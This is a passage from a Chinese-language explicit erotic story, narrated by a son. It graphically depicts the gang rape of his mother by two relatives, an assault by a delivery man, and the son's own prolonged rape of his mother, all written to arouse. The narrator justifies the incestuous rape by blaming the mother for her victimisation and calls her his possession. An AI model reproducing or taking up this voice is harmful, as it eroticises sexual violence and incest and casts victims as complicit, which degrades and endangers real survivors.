一声,身体剧烈抖动了几下,将精液全部射进妈妈的喉咙里,妈妈冷不防的吞下
去了一大半,趴在沙发边乾呕着。


「呼……」二堂哥喘了一口大气,就躺在沙发上休息。


这时候大堂哥也已经脱掉了自己的裤子,一把抓起妈妈的头发说:「好了,
该我爽了」


妈妈抬起头来,脸泛潮红,用迷茫的眼神看着两人,嘴边流下一丝精液的痕
迹。看见妈妈这个样子,二堂哥本来已经疲软的阴茎,再度硬了起来。


而大堂哥这时已经然换了位置,正将妈妈的头压在自己的裤裆下享受着。


大堂哥看二堂哥仍然挺着一根鸡巴在旁边看,指着妈妈的臀部说:「等着你
阿,还不赶快」


「哥…这个…这个」


「我操,嘴你都干了,一不做二不休了啦」


二堂哥於是挺着阴茎对准着妈妈的穴口乱捅着,一时不得其门而入。


妈妈急了,双手向后乱拨乱打,头被大堂哥紧紧压着,只能「呜呜」做响。


妈妈眼见二堂哥仍然在自己穴口乱戳,只好臀部左右摇摆着闪躲,这在二堂
哥看来只是更加的性感。


终於二堂哥的龟头挤进了妈妈狭窄的穴口,妈妈不禁「啊……」的叫了出来,
随即被大堂哥紧紧压住头。妈妈试着向前移动身体,但臀部被二堂哥紧紧掐着,
只能感受到他将阴茎一点一点的挤进自己的阴道深处。


「噢…爽…好紧……好暖阿」二堂哥爽得闭起眼睛。


他将阴茎整根插入妈妈的阴道里,开始笨拙的凭着本能抽动下体。二堂哥越
动越快,大腿撞击妈妈的臀部发出「啪啪啪啪」的声音,妈妈的双手向后拍打着
二堂哥的手,嘴里含着大堂哥的阴茎,表情痛苦的扭曲着,只能发出「唔…呜…


…呜……呜…呜「的呻吟声。


妈妈的身体被干得前后震摇,乳房也剧烈的晃动着。


过几分钟,只见二堂哥越干越快,手伸向前去用力掐住妈妈的乳房,接着身
体抖了一下,就倒在一边不动了。


妈妈嘴里仍然含着大堂哥的阴茎上下移动着,大堂哥伸手出去抓住妈妈的一
只乳房把玩着。


妈妈的阴道口流出汩汩白精,因为身体的晃动,而飞溅在沙发上。


妈妈又被强奸了,而且是被自己的姪子。


「哎呀,你技术烂死了」大堂哥嫌无聊的站起身:「舌头都不会用」


说着他将妈妈翻身,将妈妈的穿着黑丝袜的双腿放在自己手臂上,阴茎往下,
一下子插入妈妈的阴道里,妈妈吓了一跳,双手不停拍打大堂哥的手臂大叫着:
「不要…不要这样…拜託你们放过我吧…」大堂哥充耳不闻,只顾埋头冲刺,干
了10几下之后,他将身体前倾,让妈妈的身体往前折,由上往下像打桩似的用
力的干着妈妈的阴道,「啊…不要………啊啊…啊…我求求你……放过我…」妈
妈穿着黑色丝袜的双腿靠在他的肩膀上晃动着,两只小脚紧紧的绷着,大堂哥边
干边亲吻着妈妈的小腿以及脚指,双手搓揉着妈妈的乳房,嘴凑上去吸吮妈妈的
乳房,妈妈面现潮红,洁白的牙齿咬着食指,随着一下一下的撞击,轻微呻吟着:
「恩…恩…恩…恩……」


这声音在大堂哥听起来分外的销魂蚀骨,他将妈妈侧身,让妈妈的双腿分开,
左脚伸直在半空中,他侧躺在妈妈身后,左手圈住妈妈的左腿,将阴茎插入妈妈
的阴道里,右手穿过妈妈的腋下搓揉妈妈的乳房,左手抱着妈妈的左腿亲吻,舔
舐着妈妈穿着黑色丝袜的修长美腿,将脸贴在丝袜上磨蹭,闻妈妈腿上的味道,
阴茎用力的干着妈妈的下体,妈妈的身体被干的剧烈震动,小腿曲着在半空中晃
荡,布满红色手印的乳房像是波浪一样的晃动着,大堂哥的阴茎在妈妈的阴道一
进一出之间夹带出了好多白色的泡沫。


十几分钟过后,大堂哥突然紧紧抱着妈妈,下体奋力的向妈妈的阴道刺了几
刺,将精液射进妈妈的体内,当他将半软的阴茎拔出时,妈妈的阴道口流出大量
的精液。


大堂哥满足的靠在沙发上抽菸,二堂哥正坐在邻座的沙发上硬着老二观看妈
妈被强暴后的样子,妈妈正缩在沙发上小声抽泣着。


「欸…再爽一次怎样?」抽完菸,大堂哥问。


………




(10)


为了训练我的脚,我特地在前几站下车,慢慢的走回家。


走到家门口,已经是下午了。


正当我打开家门,发现玄关有两双男人的鞋子。


接着两个男人交谈的声音朝门口走来。


是他们两兄弟。


他们看到我站在门口,大堂哥笑笑的看着我,二堂哥则马上低下了头。「哦
~ 明浩阿,你回来啦,保护官没刁难你吧…」


「你们…你们来干麻?」


「哦~ 我们没吃午饭,来你们家打扰一餐,怎们样?吃饱了吧?」他笑着问
二堂哥二堂哥低着头不发一语。我不理会他们的阴阳怪气,迳自朝屋里走去。


妈妈竟然还帮他们做饭,完全没想到儿子还饿着肚子。


我走进厨房,想找些东西吃,发现餐桌上空无一物。


水槽内浸着我最爱吃的空心菜,锅里有一条鱼没调理完就摆在那里。一股不
详的预感袭上心头。我快步走到客厅,只见妈妈几乎裸体的躺在沙发上。


「阿!!!!!」我发出一声痛苦的哀嚎。


我夺门追了出去,尽最大的力气跑着,途中摔倒了好几次。


但那两个人就像是消失了一般,完全不见踪影。


我再度回到家的时候,已经是傍晚了。


我走进客厅,妈妈仍旧躺在那里,双眼无神的盯着天花板,就像当初被老龟
头强暴过后一样。


狼籍的客厅传来阵阵难闻的腥味,傍晚的阳光透过落地窗照射进来,妈妈的
脸上,乳房上,身上,腿上到处布满精液。


有的已经乾掉结成块状将妈妈的头发散乱的黏在脸上,有的则是附着在穿着
丝袜的腿上慢慢滴落到地毯。


妈妈的身体红通通的,到处都是抓痕,乳房佈满淡红色的指印和淤青,黑色
丝袜几乎被扯烂,左腿弯曲踩在地上,股间又红又肿,还在向外流倘着精液。


我不敢相信这是早上还散发出洋溢朝气的妈妈,在那里躺着的,只是一具遭
受无情侵犯的躯壳。


我不知道妈妈被蹂躏了几次,我无法想像妈妈遭遇了多么残忍的暴行。


我不知道该怎么办,我的头一阵晕眩,耳朵里充斥着嘶嘎的噪音,我的头神
经质的颤动着。


我再度失去意识。


醒来后,我发现自己仍旧躺在客厅的地板上,浴室传来沖水的声音和妈妈断
断续续的哭声。


妈妈一个礼拜没去公司,大伯来过几次都被我赶了出去。


妈妈不再说话了


整天窝在房里不肯出来,而且一吃东西就会吐。


我和妈妈说了很多,包括搬离这个地方,远离这些人,我们母子从此不再跟
这些人瓜葛,我会去工作赚钱之类的话。


但妈妈总是深深的看我一眼,那眼神像是要把我望透一般,然后就转过头去
盯着窗外。


三个礼拜过后,大伯打来的电话,叫我无论如何要给妈妈听。


我告诉妈妈这件事,妈妈默默接过话筒,走进房里。


我站在门外偷听,妈妈说没几句就哭了,而且一哭就哭了好久,接着又是一
阵长谈。




(11)


我不知道大伯跟妈妈说了些什么。隔天一早起床,就看到妈妈已然恢复朝气,
穿着白色衬衫和深蓝色窄裙,腿上裹着一双肉色的弹性裤袜,就像平时上班时穿
的一样,正在厨房做着早餐。


「起来啦,赶快去洗洗脸吃早餐啰」妈妈笑着回过来头对我说,甜美清丽的
脸上淡施胭脂,看上去更加明艳动人。


我傻傻的站在原地,不知道为什么一夜之间妈妈会有这么大的改变。


但我还是默默的走向浴室。


「浩浩」妈妈叫住我。


「过去的已经过去了…以后的日子…我们还是得过下去」妈妈手里做着餐点,
头也不回的说。我不知道妈妈在说些什么,我只感到一阵巨大的怒气自我的体内
窜出来。


过去?


以后?


我的人生基本上已经毁了,因为我目睹了旁人难以想像的惨况,我经历了一
般人不可能有过的,如同地狱般的遭遇。


难道她还要回去那里工作?她怎么有那个脸?


为什么她还可以说得这么轻松,这是为什么?


正当我在浴室洗漱的时候,门口传来一阵铃声,妈妈去应门,是送包裹的。


「李筱彤小姐吗?……请在这里签收」


正当我洗完脸,突然客厅传来一声尖叫,是妈妈的声音。


「……你走开……不要……浩……浩浩…救救妈妈」


我马上跑向客厅,只见一个穿着包裹公司制服的男人将压在妈妈的身上,嘴
里说着:「我每天都偷看你…偷拍你的腿…你实在太漂亮了……我…我每天都看
着你的照片自慰…」,妈妈的白色衬衫已经被解开了三个钮扣,男人右手隔着白
色胸罩抚摸妈妈的乳房,左手则将妈妈的窄裙卷到腰际,揉搓妈妈穿着肉色丝袜
的大腿,嘴在妈妈的脸上乱亲着。


妈妈不停的挣扎,脸左右闪避着男人的嘴。


我拿起以前用的柺杖,狠狠的朝男人的后脑杓砸了下去,男人看见我,吓了
一跳,赶紧夺门而出。


妈妈半躺在地上惊魂未定,脸上一阵晕红。妈妈没有看我,小声的说:「我
去换件衣服…」


为什么…


我到底活在什么世界…


如果这是一场漫长的恶梦,可以不可以让我赶快醒?


为什么每个人都可以侵犯妈妈?


如果我没赶上呢,妈妈是不是又会被这送包裹的男人强奸?


我想起老龟头、堂哥和大伯父脸上的表情,甚至是刚才那男人兴奋的喘息。


为什么他们都可以享用妈妈美丽的肉体,为什么就我不行?


妈妈一再一再的被欺负,为什么不肯跟我一起离开?


我终於明白了。


妈妈不是不能离开,是不肯离开。根本不是为了我,是为了自己。


高中没毕业就嫁给爸爸的妈妈,早已习惯了依傍着身边的男人。


甚至我猜想,妈妈其实是被爸爸给强暴了,不然为什么貌不惊人的爸爸可以
娶到这么美丽的女人。


妈妈根本是心甘情愿留在老龟头和大伯的身边。


说是为了我,不过是软弱的藉口……


我心中的一个东西彻底的崩塌了。


我走向妈妈的房间,妈妈门半掩着,推开门,妈妈正在将深蓝色窄裙的拉炼
拉上,一看到我,先是吓了一跳,旋又勉强一笑说:「浩浩…你不吃早餐吗?」


我呆呆的看着妈妈美丽的脸庞,玲珑浮凸的身体曲线,被包在白色衬衫内紧
绷绷的大乳房,瘦削的腰身,浑圆封满的臀部,窄裙下修长匀称的双腿,配上肉
色的弹性裤袜,那粉滢滢的光芒使得那双白皙的美腿更加诱人。


妈妈有点侷促的用手指搔了搔耳后,两只美丽的小脚相互交踩,包裹在丝袜
里的脚趾互相摩擦着。


我再也无法忍耐了。


我冲上前去,一把将妈妈推倒在床上,我全身颤抖着拥抱着妈妈。


妈妈被我这动作吓了一跳,随即说:「浩浩…怎么啦……妈妈没事啦…」


但我一动也不动,只是用力紧抱着妈妈,妈妈不安的扭动一下身躯说:「浩
浩…先起来好不好…你压得妈妈好难受阿…」


我一句话都没说,把脸埋在妈妈的胸前。


过一会,我将头抬起来仔细端详着妈妈美丽的脸庞,全身感受到的是妈妈柔
软成熟的肉体所传来的阵阵温暖……


妈妈有点疑惑又有点害怕的看着我…


我再也无法忍耐了。


我开始撕扯妈妈的上衣,白色衬衫被我用力一扯,釦子便掉落了一地,妈妈
被吓呆了,眼睛睁得大大的,不敢相信自己所看到的一切。


一直到我颤抖的双手覆上妈妈的胸前,妈妈才终於想到要反抗。


「浩浩!!!你干什么…不要开玩笑了……你下去…不要闹了」


妈妈抓住我的双手,我则左手将妈妈的两只手攥住,拉到妈妈的身后,右手
隔着白色的罩杯轻轻捏着妈妈的乳房。


这真是太奇妙的触感了,白皙的乳肉是那么的柔软,但同时又是那么的有弹
性。


我像是童蒙学生一样隔着胸罩轻玩妈妈的乳房,与此同时妈妈的身体则不停
扭动着,嘴里不停的哀求。


语言对我已然失去了一切意义,我随手拿起放在床头上绑窗帘的系带,将妈
妈的手反绑在腰际我急急忙忙的解下妈妈的胸罩,映入我眼帘的便是我作梦都想
得到的那对美丽白皙的乳房,正随着妈妈急促的呼吸而上下起伏着。


我颤抖着双手一把握住妈妈的乳房,那柔软与弹性让我的脑中一片空白。


我终於摸到妈妈的乳房了。


我本能的开始搓揉起来,看着妈妈胸前那两团美丽的软肉在我的手中不停的
变形,我兴奋极了,就像是得到了期待许久的玩具一样,而且这玩具怎么玩都不
会坏。


我兴奋的搓揉着妈妈柔嫩的乳房,妈妈的身体剧烈的反抗,嘴里哭喊着:
「浩浩…你到底是怎么了…快住手阿…我是妈妈阿…你快住手阿」,我低下头去
吸吮妈妈小巧可爱的粉色乳头,想不到小时候无缘一嚐美味,睽违了10几年后,
我终於得到那可口的小豆豆了。


我像是婴孩吸吮乳汁一样用力的吸着妈妈的乳头,含在嘴里用舌头舔舐着,
发出「啧啧啧啧」的声音,妈妈右边的乳头很快的便呈现淡淡的红色,也硬了起
来,我用牙齿叼住妈妈的乳头,轻轻的左右摩擦着,妈妈的身体左右扭动,乳房
也跟着波动摇晃。


我在妈妈的两个乳房之间留连徘徊,妈妈的乳晕沾满我的口水,我将两个乳
房挤在一起,同时舔着两边的乳头,伸出舌头顺着两乳之间被挤出的那条线来回
舔着。


妈妈涨红着脸,头左右摆动着,闭着眼睛流泪,我双手继续搓揉妈妈迷人的
乳房,伸出舌头去舔妈妈的眼泪,妈妈紧闭着眼睛,眼泪流得更多了,我舔着妈
妈秀挺的鼻子,美丽的脸庞,最后移到妈妈的嘴唇,我在妈妈的嘴唇上游移亲舔
着,舌头撬开嘴唇舔着妈妈的牙龈,妈妈紧咬着牙齿不肯张开,我捏住妈妈的鼻
子,妈妈愕然的张开眼睛瞪着我,嘴也微微开了一些,我马上封住妈妈的嘴,舌
头窜进妈妈的口腔里搅动。


我吸吮着妈妈甘美的唾液,妈妈发出痛苦的鼻息。


我跟妈妈深吻了好一阵子,我才离开妈妈的嘴唇,妈妈喘着气,一边站起身
来就要逃走。


我一把将妈妈拉回来,妈妈再度倒在床上,乳房跳了几跳,我跪坐在床上,
拉起妈妈躺在我胸前,我后面伸手掐住妈妈的乳房,不停的挤压搓揉着,从这角
度看下去,妈妈的乳房显得更加的柔嫩而毫无防备。妈妈闭着眼睛,嘴巴张得大
大的发出一丝丝呻吟:「浩浩…你快住手阿……不…阿…」


我知道在被老龟头多次的摧残下,原本有点冷感的妈妈早已拥有一副敏感的
肉体,所以我不理会妈妈说的,继续搓揉着妈妈的乳房,手指捻着妈妈的乳头,
嘴巴含住妈妈的耳垂亲舔,右手探进妈妈的蕾丝内裤抚摸妈妈的阴部,只觉触手
温暖濡湿。


妈妈不停的挣扎,窄裙早已被卷到了腰际,穿着肉色弹性丝袜的修长双腿在
床上蹬着,那画面刺激了我的感官,我一把将妈妈放倒,掰开妈妈的双腿,脸埋
进妈妈的股间,我将妈妈的大腿合起来,享受着柔软润滑的温暖包围,我不停的
左右摇头,在妈妈包裹着肉色丝袜的柔软大腿之间磨蹭,双手掐住妈妈柔软的大
腿,顺着大腿根部亲吻妈妈的大腿,丝袜柔滑的触感以及温暖,让我几欲失神,
我像在品尝美食一般,沿着妈妈的大腿一路往下,亲吻着妈妈的膝盖窝以及小腿,
伸出舌头舔舐着包裹在肉色丝袜里白皙柔嫩的腿肉,将脸靠上去磨擦,阵阵热潮
让我觉得好像在作梦一般,这美丽的肉体在无数个夜晚让我无法安睡,我眼见它
被人糟蹋却毫无办法,而如今,我享受着妈妈迷人的肉体,妈妈的肉体就在我面
前任我亵玩。


我沿着腿部曲线亲到妈妈的脚跟,我抓起妈妈的小脚欣赏着,美丽的脚指依
旧裹在肉色丝袜里头,一股淡淡的清香沁人心脾,不过如今我不用再眼睁睁的看
着它被别人蹂躏,我一口含住妈妈的脚指,伸出舌头舔舐并吸吮着,妈妈脚指部
分的丝袜很快因为我的口水而晶莹发亮,我好满足,妈妈的脚终於是我的了,我
终於得到妈妈的脚了。


於是我顺着妈妈的脚往上,再舔回妈妈的大腿根,将妈妈翻身搓揉亲吻妈妈
柔嫩的臀部,妈妈肥美的屁股肉比起乳房简直不分轩轾,我将脸靠在妈妈的臀部
摩蹭着,双手继续猥亵妈妈迷人的肉体,我受不了了,我将妈妈翻身,将妈妈的
窄裙脱下,张开妈妈的大腿靠在我的手臂上,一把扯破妈妈裆部的丝袜,将白色
蕾丝内裤扯到一边,妈妈的阴唇微微闭合着,可以看到湿润的光泽。


我急忙脱下自己的裤子,掏出早已红肿胀动的阴茎,妈妈知道即将发生什么
事,张开眼睛大叫一声:「浩浩!!!!不可以!!!不可以阿!!我是妈妈阿
…浩浩…呜呜…」


我突然灵醒过来,看着几乎一丝不挂的妈妈,和自己红肿的阴茎。我知道这
一切都不可能回头了。


我没理会妈妈,用力将阴茎挤入妈妈的双腿之间。妈妈突然将双腿用力夹紧,
我用力将妈妈的双腿再度掰开,但毫无经验的我根本找不到洞口在什么地方,只
能盲目的冲撞着,妈妈不停的闪躲也让我更加急躁。


於是我拿起枕头垫高妈妈的臀部,手指拨开妈妈的阴唇,并用拇指去揉妈妈
的阴蒂,粉红色的皱褶不停的出水。


我左手拨开妈妈的阴唇,右手扶着阴茎将龟头对准洞口慢慢挤了进去。


刹时间我觉得一阵天悬地转,妈妈湿润的阴道紧紧夹住我的阴茎,我不禁爽
得吐出一口冷气,这就是10几年前我出来的地方,而如今我再度用我身体的一
部分回到了这里,我一阵兴奋。妈妈感受到我的阴茎已然进入她的身体,突然像
发疯似的,身体痉脔起来,嘴里大声的哭喊:「不行!!!!快拔出去!!!浩
浩!!!你不能这样!!!不能这样阿!!!…」


我开始烦躁,於是我拿起一旁的内裤塞进妈妈的嘴里,身体开始前后缓缓动
起来。


妈妈的阴道夹得我好舒服,穿着肉色丝袜的双腿靠在我的手臂上摇晃着磨擦
着,我开始加快速度,一边用力干着妈妈,一边亲吻妈妈的双腿,妈妈的乳房前
后晃荡,我身体探前一手一只搓揉起来,我边干边欣赏着妈妈的肉体,突然腰际
一痠,我用力掐住妈妈的乳房,将精液射进妈妈的阴道里。


我「呼」的一声倒在妈妈身上。


妈妈安静了,偏过脸去,眼神好平静。我第一次看见妈妈这种眼神,那眼神
让我觉得自己好像在面对一具屍体一样。


但初嚐肉体快感的我根本已经无遐想这些了。


我趴在妈妈身上继续抚摸着妈妈的肉体。很快的,我的阴茎就又硬了以来。


我要妈妈换上各式各样的衣服和丝袜,妈妈时而成熟美艳时而年轻俏丽,妈
妈每换一套衣服搭配丝袜,我就用不同方式猥亵妈妈,然后进入妈妈的身体。


我强迫妈妈帮我脚交,用妈妈美丽的小脚夹住我的阴茎摩擦,然后将精液射
在妈妈的脚上;我曲起妈妈的腿,干妈妈的腿窝;我让妈妈双腿夹紧,趴在妈妈
身上干妈妈的大腿。


我要妈妈帮我口交、乳交甚至肛交。


我不停的尝试不同的玩法和姿势,简直爽到都快发疯了。


那一天,我几乎把我10多年来的欲望全部发泄在妈妈的肉体上。


妈妈全身都沾满我的精液,而每做完一次,我就将妈妈抱进浴室洗乾净,然
后出来再换上别的衣服和丝袜继续玩。


妈妈不再哭叫,像个玩偶似的任由我摆佈,如果不是那迷人肉体上的体温,
我真的会怀疑妈妈是不是已经死了。


……


妈妈仰躺在餐桌上,全身上下只剩白色棉质的小短裙,腿上裹着黑色不透明
的裤袜,一脚穿着红色的帆布鞋,而一脚则被我含在嘴里,妈妈双手被绑着,嘴
里发出细细的呻吟声,我双手掐着妈妈的乳房,阴茎在妈妈的阴道内正进出的起
劲。


电话突然响了,是大伯打来的,他问妈妈怎没去上班。


我冷笑了一下,阴茎用力的顶了一下妈妈,妈妈「嘤」的一声叫出来,我一
边干着妈妈,一边告诉大伯今天妈妈跟我在忙,改天再打给他。


挂掉电话,我气愤的用力猛干妈妈,最后将精液射在妈妈脸上。


妈妈是我的,我一个人的,谁都不能跟我抢。


晚上,我从背后抱着裸体的妈妈,阴茎在妈妈穿着肉色透明丝袜的大腿间摩
擦,双手搓揉着妈妈柔嫩细緻的乳房,缓缓的睡去。


「妈…我爱你,我要你永远跟我在一起,永远只属於我」


我亲吻着妈妈光滑的背,呢喃的说。


……


隔天醒来,我发现妈妈已经不见了。